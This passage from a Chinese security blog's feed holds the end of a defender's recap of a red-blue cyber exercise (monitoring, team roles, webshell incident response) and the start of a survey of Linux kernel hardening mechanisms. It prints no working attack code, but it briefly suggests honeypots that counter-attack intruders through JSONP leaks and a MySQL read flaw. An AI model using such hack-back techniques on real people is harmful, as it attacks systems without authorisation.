title="防护设备配置"></a>防护设备配置</h3><p>在完成资产的梳理和排查之后，需要对相关的业务做防御加强，配置相关的WAF和防火墙过滤攻击流量。然后配置探针获取外网到内网以及内网之间的流量数据，这些流量数据搭配一些日志分析平台，监控网络攻击的实时情况，同时流量数据也能为之后的溯源提供帮助。在相关业务的重要服务器上部署主机防御系统，记录服务器上的执行程序日志，也能配置策略禁止一些高危操作和权限控制。部署与主要业务类似的蜜罐系统，最好是采用一比一完全相似的业务服务，这样能有效消耗攻击者的时间，还能观察到攻击者的攻击痕迹和攻击IP，为后续的反制提供信息，这里的蜜罐还能采用一些恶意服务程序反向攻击获取攻击者的相关信息，比如jsonp获得社交账号，mysql数据库读漏洞。</p><h3 id="防护人员分组"><a href="#防护人员分组" class="headerlink" title="防护人员分组"></a>防护人员分组</h3><p>对接下来hw中的防护人员进行分组，大家相互协作配合，我在的地方是：</p><p>蜜罐（1）+ 流量探针（1）+ 流量分析（1）+ 处置封锁IP和增加规则（1）+ 主机防护和waf（2）+ 研判分析（3）+ 业务方（3）+ 总指挥（2）</p><p>其中蜜罐，流量探针，流量分析，主机防护，waf基本上都是在各自审查系统上的日志和数据，如果有异常会上报给研判组，研判组分析研判之后确定为真实攻击会写一份相关的简报，如果是重大事件研判组则会协同各个小组人员进行溯源分析。业务方是每个业务排的一个人确保系统正常运行，以及配合修补系统漏洞。总指挥会协调各个小组的配合，整理汇总分析报告，对hw整体局势做把控。</p><h2 id="演戏进行中"><a href="#演戏进行中" class="headerlink" title="演戏进行中"></a>演戏进行中</h2><h3 id="威胁监控"><a href="#威胁监控" class="headerlink" title="威胁监控"></a>威胁监控</h3><p>在hw开始之后，处在各个审查系统上的人员专注查看这些日志记录，对其中高危的操作和异常日志进行上报，比如会有一些恶意通信，需要判断是否是误报，如果不是误报则需要追踪这个攻击是否成功，是否造成影响，最后确定能造成影响，但服务器不在我们这里，是某个成员单位拥有的，则书写一份简报上交给总指挥，如果是我们这里的主要业务系统受到影响，则需要进一步溯源排查攻击情况。审查系统上的人员在看到大量扫描攻击行为时会上报攻击者的IP给负责处置的同事，添加封锁的IP地址，消耗攻击队的IP池。收集到有新漏洞的威胁情报之后会进行验证，该打补丁的打补丁，没补丁的进行临时过滤修补。</p><h3 id="应急响应"><a href="#应急响应" class="headerlink" title="应急响应"></a>应急响应</h3><p>在判断到我们的主要业务收到影响之后，开始应急响应的流程，在被攻击的主机上收集信息，包括history信息，web日志信息，结合攻击流量，主机防护系统的记录，对攻击者的入侵路径和遗留下的木马后门做判断。针对遗留的木马后门，保存副本并删除服务器上的恶意代码，这一次hw中出现了大量的内存木马，使得难以被发现，虽然最后通过流量分析和web日志找到了入侵痕迹，我们还是只能用重启服务的代价消灭它。在排除了威胁之后，我们开始进一步对攻击者的入侵路径做调查，最后确定是利用了最早的OA漏洞，在没有及时打上补丁的时候偷偷摸进来的，不仅如此，根据内存马中的ID信息可以确定到攻击者的个人信息，完成了溯源到本人的工作。在主机防护系统上也看到了攻击者在凌晨执行的命令，更加清晰的看到攻击者的动作，比较有趣的一点是我们是发现主机防御系统的服务被卸载才意识到问题的严重性，23333。</p><p>另外一次应急响应，已经不能叫做应急响应了。。。只能叫做事后溯源排查，接到某个成员单位被日穿的消息，匆匆忙忙赶去排查。到那边之后发现是windows server 2008，只能说牛逼，现在还有人用windows的服务器。收集到了一波系统日志信息，web日志信息之后，灰溜溜的走了，没有什么太好的发现，而且很多攻击者留下的痕迹都被很蠢的运维给删了，只能说这种事业单位的防护措施真的很垃圾。最后根据各种日志信息发现在最早的一天攻击者就进来了，但是攻击的路径完全无法确定。。。。信息太少然后就不了了之。</p><h3 id="每日总结"><a href="#每日总结" class="headerlink" title="每日总结"></a>每日总结</h3><p>每天从早上8点半开始到晚上9点结束，早上刚到的时候会检查晚上的日志情况，在晚上结束的时候会开一个简短的小会，大家汇报今天各个岗位的情况，最后总指挥会对今天的情况做总结，这会儿有可能甲方爸爸也会来两句。</p><h2 id="会后总结"><a href="#会后总结" class="headerlink" title="会后总结"></a>会后总结</h2><h3 id="汇报演习情况"><a href="#汇报演习情况" class="headerlink" title="汇报演习情况"></a>汇报演习情况</h3><p>在hw结束后的一天下午开了总结大会，主要是交代了hw期间做的工作，封锁的IP，溯源的结果，提交的报告，各家提供服务的单位做的贡献如何。指出这次hw中做的不足，还需要改进的地方，以及系统中哪些是脆弱点，哪些还需要加强。不得不说OA真的是重灾区，每年都是被打的很惨。</p><h3 id="后续工作交接"><a href="#后续工作交接" class="headerlink" title="后续工作交接"></a>后续工作交接</h3><p>每个人需要提交一份hw的总结报告，描述自己的工作情况（也是给甲方爸爸交差，不然显得自己很摸鱼，23333），对工作中遗留的问题交接给其他人来完成剩下的工作。比如：为了临时防御一些攻击做了哪些策略调整，需不需要替换回来等等。</p><h2 id="最后用一张图描述hw的真实感受"><a href="#最后用一张图描述hw的真实感受" class="headerlink" title="最后用一张图描述hw的真实感受"></a>最后用一张图描述hw的真实感受</h2><img src="/2021/05/15/hw2021-summary/1.png">]]></content>
    
    <summary type="html">
    
      
      
        &lt;p&gt;拖了好久，终于趁着休息的时候简单总结一下第一次hw学习到的东西。（应该也是最后一次）&lt;/p&gt;
&lt;h2 id=&quot;前期准备&quot;&gt;&lt;a href=&quot;#前期准备&quot; class=&quot;headerlink&quot; title=&quot;前期准备&quot;&gt;&lt;/a&gt;前期准备&lt;/h2&gt;&lt;h3 id=&quot;资产梳理与排查
      
    
    </summary>
    
      <category term="技术" scheme="https://hurricane618.me/categories/%E6%8A%80%E6%9C%AF/"/>
    
    
      <category term="hw" scheme="https://hurricane618.me/tags/hw/"/>
    
      <category term="总结" scheme="https://hurricane618.me/tags/%E6%80%BB%E7%BB%93/"/>
    
  </entry>
  
  <entry>
    <title>Linux 内核安全机制总结</title>
    <link href="https://hurricane618.me/2021/04/28/linux-kernel-security-summary/"/>
    <id>https://hurricane618.me/2021/04/28/linux-kernel-security-summary/</id>
    <published>2021-04-28T02:32:46.000Z</published>
    <updated>2021-04-28T02:32:46.525Z</updated>
    
    <content type="html"><![CDATA[<p>文章首发于安全客  <a href="https://www.anquanke.com/post/id/238363" target="_blank" rel="noopener">https://www.anquanke.com/post/id/238363</a></p><h2 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h2><p>之前面试被问到了内核安全机制的相关问题，但是没有很好的回答出来，所以在此以学习的目的总结这方面的知识。欢迎各位师傅一起交流讨论。</p><h2 id="防御框架"><a href="#防御框架" class="headerlink" title="防御框架"></a>防御框架</h2><p>说到Linux内核防御就不得不提起那张广泛流传的<code>Linux Kernel Defence Map</code>。这里放出两个不同版本的对比图，可以看到新版本中又对老版本的地图做了一些修改和添加。新图在老图的基础上修改了一些语言描述，并且调整了排列顺序，增加了ARM，Intel的硬件防护，clang的CFI，PAX_RAP。所以这里我会按照新图的顺序来讲解。</p><img src="/2021/04/28/linux-kernel-security-summary/1.jpg"><p>这个地图把Linux内核的防御相关内容划分成了八种不同的类别，这里简单介绍一下：</p><ul><li>绿色标记：Linux内核的主线防御</li><li>白色标记：通用防御技术</li><li>深蓝色标记：主线不支持的防御</li><li>紫色标记：bug检测</li><li>灰色标记：商用防御</li><li>粉色标记：漏洞</li><li>浅蓝色标记：硬件防御</li><li>黄色标记：利用技术</li></ul><p>防御方面会总结Linux的主线防御，商用防御和硬件防御，主线不支持的防御将不会出现。</p><h2 id="防御技术"><a href="#防御技术" class="headerlink" title="防御技术"></a>防御技术</h2><h3 id="RANDSTRUCT"><a href="#RANDSTRUCT" class="headerlink" title="RANDSTRUCT"></a>RANDSTRUCT</h3><p>它是作为一个GCC的插件，能够随机化C写的结构体布局，这个选项开启的时候会把内核中的结构体字段重新排列。这个重新排列的过程发生在编译期间，插件会获得一个随机种子，根据这个来重新排列结构体字段，使得攻击者无法精确知道结构体对应位置的字段。因此，提高了漏洞利用的难度。</p><p>参考：<a href="https://lwn.net/Articles/722293/" target="_blank" rel="noopener">https://lwn.net/Articles/722293/</a></p><h3 id="LATENT-ENTROPY"><a href="#LATENT-ENTROPY" class="headerlink" title="LATENT_ENTROPY"></a>LATENT_ENTROPY</h3><p>GCC的插件之一，这个插件为了缓解内核在启动和启动之后生成加密密钥的熵太少的问题。这个插件会把随机值混入到有<code>__latent_entropy</code>属性标记的函数中的<code>latent_entropy</code>全局变量中。这个全局变量的值会被加入到内核熵池中用来增加熵。</p><p>参考：<a href="https://lwn.net/Articles/688492/" target="_blank" rel="noopener">https://lwn.net/Articles/688492/</a></p><h3 id="PAX-RANDKSTACK"><a href="#PAX-RANDKSTACK" class="headerlink" title="PAX_RANDKSTACK"></a>PAX_RANDKSTACK</h3><p>由PaX Team实现的<code>PAX_RANDKSTACK</code>是针对进程内核栈的随机化。由于内核栈本身的实现，内核中是可以任意访问没有任何防护的。随机化对栈布局的打乱，配合内核栈信息的擦除，能够有效防止内核信息泄漏，不容易猜透内存的布局。</p><p>实现总结：</p><ol><li>pax_randomize_kstack的实现。这个函数读取时钟（随机数）对进程内核栈基址进行掩码异或，获取有随机化偏移的栈基址，赋值给相应的内核结构，栈增长时就会基于这个随机化地址。</li><li>在相应的系统调用入口处插入随机化的函数。因为进程內核栈的使用是通过进程触发系统调用（当然还有异常和中断），陷进内核，来切换到进程内核栈，随机化应该在这些地方插入执行。而它放置的位置是在系统调用返回之前。</li><li>配合性地，PaX 实现了 pax_erase_kstack 函数，在内核/用户空间切换的时候进行内核信息抹除，填充。</li></ol><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_RANDKSTACK.md" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_RANDKSTACK.md</a></p><h3 id="ro-after-init"><a href="#ro-after-init" class="headerlink" title="__ro_after_init"></a>__ro_after_init</h3><p>为了减少内核中的攻击面，会标记内核的一部分为只读内容。内核在初始化过程中会写入一些内容，但在初始化之后这部分内容确定为只读作用，这种情况下我们不能使用const，因为实际上它是有写入修改的，所以就诞生了<code>__ro_after_init</code>。它会在内核初始化完成之后把这些内存区域标记为只读。</p><p>参考：<a href="https://lwn.net/Articles/676145/" target="_blank" rel="noopener">https://lwn.net/Articles/676145/</a></p><h3 id="PAX-CONSTIFY-PLUGIN"><a href="#PAX-CONSTIFY-PLUGIN" class="headerlink" title="PAX_CONSTIFY_PLUGIN"></a>PAX_CONSTIFY_PLUGIN</h3><p>为了缓解修改函数指针劫持控制流的攻击方式而推出的GCC插件。它会使得所有的函数指针的结构体都变为只读。</p><p>参考：<a href="https://isopenbsdsecu.re/mitigations/missing_features/" target="_blank" rel="noopener">https://isopenbsdsecu.re/mitigations/missing_features/</a></p><h3 id="PAX-SIZE-OVERFLOW"><a href="#PAX-SIZE-OVERFLOW" class="headerlink" title="PAX_SIZE_OVERFLOW"></a>PAX_SIZE_OVERFLOW</h3><p>用于检测溢出用的GCC插件，它会用double类型大小的数据结构来保存size表达式的计算结果，然后拿这个结果和实际的输出大小作比较，以此来检查溢出的情况。但是，这个检测不会针对整个源码，只会对一些特定的地方做检查，比如内存分配的时候错误的大小导致的缓冲区溢出。也可以对一些地方做标记，跳过对它们的溢出检查。</p><p>参考：<a href="https://ir.library.oregonstate.edu/downloads/zp38wj554" target="_blank" rel="noopener">https://ir.library.oregonstate.edu/downloads/zp38wj554</a></p><h3 id="REFCOUNT-FULL"><a href="#REFCOUNT-FULL" class="headerlink" title="REFCOUNT_FULL"></a>REFCOUNT_FULL</h3><p>这个是一个针对引用计数的溢出保护，在对引用计数操作的函数中添加指令检测refcount是否为负。如果没有这个保护，内核对象引用计数不断增加，当发生溢出时，引用计数为负数，内存即可被释放，而此时程序还有对该指针所值内存的引用，就有可能发生<code>use after free</code>，可以用做攻击利用。</p><p>参考：<a href="https://lwn.net/Articles/728626/" target="_blank" rel="noopener">https://lwn.net/Articles/728626/</a></p><p>类似的保护<code>PAX_REFCOUNT</code></p><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_REFCOUNT.md" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_REFCOUNT.md</a></p><h3 id="TIF-FSCHECK-flag"><a href="#TIF-FSCHECK-flag" class="headerlink" title="TIF_FSCHECK flag"></a>TIF_FSCHECK flag</h3><p>一些执行路径会临时升高<code>addr_limit</code>，为了内核代码能够像读写用户内存一样读写内核内存，但如果就这样返回到用户态，那么在用户态就可以读写到内核内存，所以这个标志位会在返回用户态时检查<code>addr_limit</code>的值。对任何调用了<code>set_fs()</code>都会设置线程标记<code>TIF_FSCHECK</code>。</p><p>参考：<a href="https://patchwork.kernel.org/project/kernel-hardening/patch/20180514130316.23855-2-mpe@ellerman.id.au/" target="_blank" rel="noopener">https://patchwork.kernel.org/project/kernel-hardening/patch/20180514130316.23855-2-mpe@ellerman.id.au/</a></p><h3 id="SCHED-STACK-END-CHECK"><a href="#SCHED-STACK-END-CHECK" class="headerlink" title="SCHED_STACK_END_CHECK"></a>SCHED_STACK_END_CHECK</h3><p>这个选项是为了检查在调用<code>schedule()</code>时的栈溢出情况。如果栈结束的位置发现被覆盖，那么这些被覆盖区域的内容是不可信的。这是为了确保不会发生错误行为，被覆盖区域如果执行可能会在后续阶段出现数据损坏或崩溃。这个检查的运行时开销很小。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/SCHED_STACK_END_CHECK.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/SCHED_STACK_END_CHECK.html</a></p><h3 id="GRKERNSEC-KSTACKOVERFLOW"><a href="#GRKERNSEC-KSTACKOVERFLOW" class="headerlink" title="GRKERNSEC_KSTACKOVERFLOW"></a>GRKERNSEC_KSTACKOVERFLOW</h3><p>Grsecurity 的 KSTACKOVERFLOW 特性是针对进程内核栈溢出的一些加固措施，主要包括：</p><ul><li>进程内核栈初始化时的<code>vmap</code>与 <code>thread_info</code>的分离</li><li><code>double_fault</code> 中 <code>Guard page</code> 的检测</li><li>一些指针的检查</li><li>一些配合性的初始化</li></ul><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/KSTACKOVERFLOW.md" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/KSTACKOVERFLOW.md</a></p><p>以下是另外两个相关的防御机制</p><h4 id="VMAP-STACK"><a href="#VMAP-STACK" class="headerlink" title="VMAP_STACK"></a>VMAP_STACK</h4><p>这个机制是采用vmalloc申请的内存作为内核栈，这样可以利用vmalloc自带的<code>guard page</code>增强栈溢出检测能力，同时这些申请的内存空间在物理上可能是不连续的，能够减少内存的碎片化。</p><p>参考：<a href="https://blog.csdn.net/rikeyone/article/details/105971720" target="_blank" rel="noopener">https://blog.csdn.net/rikeyone/article/details/105971720</a></p><h4 id="THREAD-INFO-IN-TASK"><a href="#THREAD-INFO-IN-TASK" class="headerlink" title="THREAD_INFO_IN_TASK"></a>THREAD_INFO_IN_TASK</h4><p>这个选项开启的时候会把<code>thread_info</code>放入到<code>task_struct</code>中，在原来的结构中<code>task_struct</code>和<code>thread_info</code>是分开的，这个<code>thread_info</code>位于线程栈的最低地址处，但又比<code>task_struct</code>地址高，所以如果发生溢出会使得<code>thread_info</code>的数据结构被破坏，不会被判断为栈溢出。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">union</span> thread_union &#123;</span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> CONFIG_ARCH_TASK_STRUCT_ON_STACK</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">task_struct</span> <span class="title">task</span>;</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">ifndef</span> CONFIG_THREAD_INFO_IN_TASK</span></span><br><span class="line">    <span class="class"><span class="keyword">struct</span> <span class="title">thread_info</span> <span class="title">thread_info</span>;</span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">endif</span></span></span><br><span class="line">    <span class="keyword">unsigned</span> <span class="keyword">long</span> <span class="built_in">stack</span>[THREAD_SIZE/<span class="keyword">sizeof</span>(<span class="keyword">long</span>)];</span><br><span class="line">&#125;;</span><br></pre></td></tr></table></figure><p>参考：<a href="https://zhuanlan.zhihu.com/p/84591715" target="_blank" rel="noopener">https://zhuanlan.zhihu.com/p/84591715</a></p><h3 id="HARDENED-USERCOPY"><a href="#HARDENED-USERCOPY" class="headerlink" title="HARDENED_USERCOPY"></a>HARDENED_USERCOPY</h3><p>这个安全机制是从<code>PAX_USERCOPY</code>中借鉴学习的。Linux内核的设计中，内核地址空间和用户地址空间是隔离的，不能直接透过地址去访问内存。因此，当需要发生用户空间和内核空间进行数据交换时，需要将数据拷贝一份到另一个的内存空间中。在内核中 copy_from_user 和 copy_to_user 这组函数承担了数据在内核空间和用户空间之间拷贝的任务。这就带来一个问题，如果从用户空间拷贝到内核空间的数据长度超过内核的缓冲区长度，就会产生溢出破坏内核的空间数据导致有漏洞利用的可能。<code>HARDENED_USERCOPY</code>在这组函数中实现了对缓冲区长度的检查，当长度检查发现有溢出的可能时，就不会执行数据的复制，防止非法拷贝覆盖内存，破坏栈帧或堆。</p><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_USERCOPY.md" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/PAX_USERCOPY.md</a></p><h3 id="STACKLEAK"><a href="#STACKLEAK" class="headerlink" title="STACKLEAK"></a>STACKLEAK</h3><p>这个机制的出现时为了缓解内核栈的溢出和泄露类型的漏洞。主要作用：</p><ul><li>减少内核栈信息泄露漏洞能泄露的信息</li><li>阻止一些未初始化栈变量攻击</li><li>检测进程内核栈的溢出</li></ul><p>整体的实现方法借鉴了<code>PAX_MEMORY_STACKLEAK</code>，一个是实现了再进出内核空间时对进程内核栈的数据进行擦除，这样就算有泄露信息的漏洞也只能得到无效数据；另外一个用于检测栈溢出的功能可以与<code>VMAP_STACK</code>和<code>THREAD_INFO_IN_TASK</code>搭配。</p><p>参考：<a href="https://a13xp0p0v.github.io/2018/11/04/stackleak.html、https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/MEMORY_LEAK.md" target="_blank" rel="noopener">https://a13xp0p0v.github.io/2018/11/04/stackleak.html、https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/MEMORY_LEAK.md</a></p><h3 id="slub-debug"><a href="#slub-debug" class="headerlink" title="slub_debug"></a>slub_debug</h3><img src="/2021/04/28/linux-kernel-security-summary/2.png"><h4 id="Z（Red-Zone）"><a href="#Z（Red-Zone）" class="headerlink" title="Z（Red Zone）"></a>Z（Red Zone）</h4><p>Red zone出现在内存分配对象的后面，以及后一个对象的前面，用于检测越界访问的问题，在这里面会填充<code>magic num</code>，之后检测Red zone区域数据就能够判断是否发生溢出。</p><h4 id="F（free）"><a href="#F（free）" class="headerlink" title="F（free）"></a>F（free）</h4><p>激活完整性检查功能，在特定的环节比如free的时候增加各种条件判断，验证数据是否完好。可以用来检测多次free的情况。</p><h4 id="P（Posion）"><a href="#P（Posion）" class="headerlink" title="P（Posion）"></a>P（Posion）</h4><p>当对象被新分配的时候回被填充特殊的<code>magic num 0x5a</code>，这时出现对象使用就会触发未初始化使用的错误，而在对象释放之后会被填充<code>0x6b</code>，这时如果对象被使用就会触发<code>use after free</code>的漏洞检测。</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">define</span> POISON_INUSE         0x5a    <span class="comment">/* for use-uninitialised poisoning */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> POISON_FREE          0x6b    <span class="comment">/* for use-after-free poisoning */</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">define</span> POISON_END           0xa5    <span class="comment">/* end-byte of poisoning */</span></span></span><br></pre></td></tr></table></figure><p>参考：<a href="http://www.wowotech.net/memory_management/427.html" target="_blank" rel="noopener">http://www.wowotech.net/memory_management/427.html</a></p><h3 id="FORTIFY-SOURCE"><a href="#FORTIFY-SOURCE" class="headerlink" title="FORTIFY_SOURCE"></a>FORTIFY_SOURCE</h3><p>检查内存拷贝类函数的目的缓冲区是否存在溢出。检测的函数包括：<code>memcpy</code>, <code>mempcpy</code>, <code>memmove</code>, <code>memset</code>, <code>strcpy</code>,<code>stpcpy</code>, <code>strncpy</code>, <code>strcat</code>, <code>strncat</code>,<code>sprintf</code>,<code>vsprintf</code>,<code>snprintf</code>,<code>vsnprintf</code>,<code>gets</code>。</p><p>参考：<a href="https://access.redhat.com/blogs/766093/posts/1976213" target="_blank" rel="noopener">https://access.redhat.com/blogs/766093/posts/1976213</a></p><h3 id="UBSAN-BOUNDS"><a href="#UBSAN-BOUNDS" class="headerlink" title="UBSAN_BOUNDS"></a>UBSAN_BOUNDS</h3><p>这是一个ubsan的配置选项，用于执行数组指针越界的检查。选项开启之后能够检测出在编译期间已知数组长度的越界访问漏洞，但这个选项也有较大的局限性，它不能保护因为内存拷贝类函数造成的数组溢出。这个缺点可以用<code>FORTIFY_SOURCE</code>来解决。</p><p>参考：<a href="https://github.com/torvalds/linux/blob/master/lib/Kconfig.ubsan" target="_blank" rel="noopener">https://github.com/torvalds/linux/blob/master/lib/Kconfig.ubsan</a></p><h3 id="SLAB-FREELIST-HARDENED"><a href="#SLAB-FREELIST-HARDENED" class="headerlink" title="SLAB_FREELIST_HARDENED"></a>SLAB_FREELIST_HARDENED</h3><p>加固slab freelist的元数据的防御，许多内核堆的攻击都尝试针对slab的缓存元数据和其他基础结构，这个选项能以较小的代价加固内核slab分配器，使得通用的freelist利用方法更加难以使用。具体的做法是修改了保存在每个释放的空间的数据, 也就是freelist那个链表不再是直接取数据就能用的, 需要进行逆运算才能得到下一个空间的地址，运算过程在freelist_ptr函数中。</p><p>参考：<a href="https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2482ddec，https://hardenedlinux.github.io/system-security/2017/12/02/linux_kernel_4.14%E7%9A%84SLAB_FREELIST_HARDENED%E7%9A%84%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90.html" target="_blank" rel="noopener">https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=2482ddec，https://hardenedlinux.github.io/system-security/2017/12/02/linux_kernel_4.14%E7%9A%84SLAB_FREELIST_HARDENED%E7%9A%84%E7%AE%80%E8%A6%81%E5%88%86%E6%9E%90.html</a></p><h3 id="PAGE-POISONING"><a href="#PAGE-POISONING" class="headerlink" title="PAGE_POISONING"></a>PAGE_POISONING</h3><p>和<code>PAX_MEMORY_SANITIZE</code>类似的功能，在释放的页上做内存数据擦除工作。在<code>free_pages()</code>之后填入特殊的数据，在分配页之前会验证这个数据，以达到防御<code>use after free</code>的效果，而填充的数据能减少信息泄露。这个选项对内核的执行效率会有一定的影响。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/PAGE_POISONING.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/PAGE_POISONING.html</a></p><h3 id="PAX-MEMORY-SANITIZE"><a href="#PAX-MEMORY-SANITIZE" class="headerlink" title="PAX_MEMORY_SANITIZE"></a>PAX_MEMORY_SANITIZE</h3><p>这个是一个用于将已被释放的内存，进行全面的擦除的特性。实现思路很简单但效果很好，能够有效防御<code>use after free</code>的攻击和减少部分信息泄露问题。整个擦除的过程是放在<code>slab</code>对象释放时进行，通过检测一开始设置好的<code>SLAB_</code>的标志位来确定是否对内存执行擦除。</p><p>参考：<a href="https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/MEMORY_LEAK.md#pax_memory_sanitize" target="_blank" rel="noopener">https://github.com/hardenedlinux/grsecurity-101-tutorials/blob/master/grsec-code-analysis/MEMORY_LEAK.md#pax_memory_sanitize</a></p><h3 id="init-on-free-init-on-alloc"><a href="#init-on-free-init-on-alloc" class="headerlink" title="init_on_free/init_on_alloc"></a>init_on_free/init_on_alloc</h3><p>这两个选项的目标是阻止信息泄露和依赖于未初始化值的控制流漏洞。开启两个选项之一能保证页分配器返回的内存和SL[A|U]B是会被初始化为0。SLOB分配器现在不支持这两个选项，因为它的kmem仿真缓存让<code>SLAB_TYPESAFE_BY_RCU</code>缓存的处理变得复杂。开启<code>init_on_free</code>也能保证页和堆对象在它们释放之后能立即初始化，因此无法使用悬挂指针访问原始数据。</p><p>参考：<a href="https://lwn.net/Articles/791380/" target="_blank" rel="noopener">https://lwn.net/Articles/791380/</a></p><h3 id="X86-X86-INTEL-UMIP"><a href="#X86-X86-INTEL-UMIP" class="headerlink" title="X86: X86_INTEL_UMIP"></a>X86: X86_INTEL_UMIP</h3><p>用于intel的用户模式指令防护（User Mode Instruction Prevention，UMIP），UMIP是一个intel新CPU推出的安全特性。如果开启，在用户模式下执行了<code>SGDT</code>，<code>SLDT</code>，<code>SIDT</code>，<code>SMSW</code>，<code>STR</code>指令就会出现报错，这些指令会泄露硬件状态信息。这些指令很少会有程序使用，大多只会出现在软件仿真上。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/X86_INTEL_UMIP.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/X86_INTEL_UMIP.html</a></p><h3 id="kptr-restrict"><a href="#kptr-restrict" class="headerlink" title="kptr_restrict"></a>kptr_restrict</h3><p>内核提供的控制变量<code>/proc/sys/kernel/kptr_restrict</code>可以用来控制内核的一些信息输出。默认情况值为0，root和普通用户都能读取内核地址，值为1时只有root用户有权限获取，值为2时所有用户都没有权限获得。</p><p>参考：<a href="https://blog.csdn.net/gatieme/article/details/78311841" target="_blank" rel="noopener">https://blog.csdn.net/gatieme/article/details/78311841</a></p><h3 id="GRKERNSEC-HIDESYM"><a href="#GRKERNSEC-HIDESYM" class="headerlink" title="GRKERNSEC_HIDESYM"></a>GRKERNSEC_HIDESYM</h3><p>隐藏内核符号的配置选项，如果开启选项，获取加载模块的信息和通过系统调用显示所有内核符号的操作都会被<code>CAP_SYS_MODULE</code>限制。而为了兼容性，<code>/proc/kallsyms</code>能限制root用户。</p><p>参考：<a href="https://xorl.wordpress.com/2010/11/20/grkernsec_hidesym-hide-kernel-symbols/" target="_blank" rel="noopener">https://xorl.wordpress.com/2010/11/20/grkernsec_hidesym-hide-kernel-symbols/</a></p><h3 id="SECURITY-DMESG-RESTRICT"><a href="#SECURITY-DMESG-RESTRICT" class="headerlink" title="SECURITY_DMESG_RESTRICT"></a>SECURITY_DMESG_RESTRICT</h3><p>用来限制未授权访问内核syslog，内核syslog包含着对漏洞利用非常有效的调试信息，例如：内核堆地址。这个方案比清除数百上千的调试信息更好，而且不会破坏这些重要的调试信息。开启选项之后只有<code>CAP_SYS_ADMIN</code>能够读取内核syslog。类似的还有<code>GRKERNSEC_DMESG</code>。</p><p>参考：<a href="https://lwn.net/Articles/414813/" target="_blank" rel="noopener">https://lwn.net/Articles/414813/</a></p><h3 id="INIT-STACK-ALL-ZERO"><a href="#INIT-STACK-ALL-ZERO" class="headerlink" title="INIT_STACK_ALL_ZERO"></a>INIT_STACK_ALL_ZERO</h3><p>这个选项开启之后会把新分配的栈上的所有数据都初始化为0，这样就消除了所有的未初始化栈变量的漏洞利用以及信息泄露。初始化为0能让字符串，指针，索引等更安全。</p><p>参考：<a href="https://cateee.net/lkddb/web-lkddb/INIT_STACK_ALL_ZERO.html" target="_blank" rel="noopener">https://cateee.net/lkddb/web-lkddb/INIT_STACK_ALL_ZERO.html</a></p><h3 id="STRUCTLEAK-BYREF-ALL"><a href="#STRUCTLEAK-BYREF-ALL" class="headerlink" title="STRUCTLEAK_BYREF_ALL"></a>STRUCTLEAK_BYREF_ALL</h3><p>和<code>PAX_MEMORY_STRUCTLEAK</code>类似，只初始化那些在栈上被传输引用的变量，而剩下的没被传输出去的变量不做初始化操作。</p><p>参考：<a href="https://www.openwall.com/lists/kernel-hardening/2019/03/11/2" target="_blank" rel="noopener">https://www.openwall.com/lists/kernel-hardening/2019/03/11/2</a></p><h3 id="PAX-MEMORY-STRUCTLEAK"><a href="#PAX-MEMORY-STRUCTLEAK" class="headerlink" title="PAX_MEMORY_STRUCTLEAK"></a>PAX_MEMORY_STRUCTLEAK</h3><p>开启选项后，内核会对之后要复制到用户态的局部变量初始化为0，这样做同样是防止未初始化的变量泄露信息。它的代价相比<code>PAX_MEMORY_STACKLEAK</code>更小，而覆盖的范围也相对更小。</p><p>参考：<a href="https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options" target="_blank" rel="noopener">https://en.wikibooks.org/wiki/Grsecurity/Appendix/Grsecurity_and_PaX_Configuration_Options</a></p><h3 id="bpf-jit-harden"><a href="#bpf-jit-harden" class="headerlink" title="bpf_jit_harden"></a>bpf_jit_harden</h3><p>开启选项之后能加固BPF JIT编译器，能够支持eBPF 